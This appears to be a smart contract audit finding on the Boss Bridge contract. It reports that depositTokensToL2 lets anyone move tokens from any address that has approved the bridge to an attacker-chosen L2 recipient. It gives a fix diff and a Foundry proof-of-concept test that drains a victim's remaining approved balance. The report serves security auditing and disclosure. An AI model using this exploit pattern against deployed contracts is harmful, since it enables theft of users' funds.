Summary
depositTokensToL2 functions allows transfers from arbitrary addresses that have approved bridge address in the past.
Details
When depositing funds, depositTokensToL2 allows anyone to transfer funds from another user's address that gave sufficient approval to the token bridge address. The attacker can enter their own address as L2 recipient. This will allow attacker to have control of those funds in L2.
Filename
src/L1BossBridge.sol
Permalinks
https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/dad104a9f481aace15a550cf3113e81ad6bdf061/src/L1BossBridge.sol#L70C20-L70C20
Impact
Malicious user can transfer funds from another user and send them to attacker controlled address in L2.
Recommendations
Transfer fund from msg.sender not an arbitrary address. Remove the address from parameter from the function
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
Tools Used
POC
function testCanDepositOtherUsersFunds() public {
uint256 userDeposit = 10e18;
vm.prank(user);
token.approve(address(tokenBridge), type(uint256).max);
tokenBridge.depositTokensToL2(user, userInL2, userDeposit);
assertEq(token.balanceOf(address(vault)), userDeposit);
assertEq(token.balanceOf(address(user)), 1000e18 - userDeposit);
address attackerInL2 = makeAddr("attackerInL2");
uint256 restOfUserFunds = token.balanceOf(address(user));
vm.expectEmit();
emit Deposit(user, attackerInL2, restOfUserFunds);
tokenBridge.depositTokensToL2(user, attackerInL2, restOfUserFunds);
assertEq(token.balanceOf(address(vault)), userDeposit + restOfUserFunds);
assertEq(token.balanceOf(address(user)), 0);
}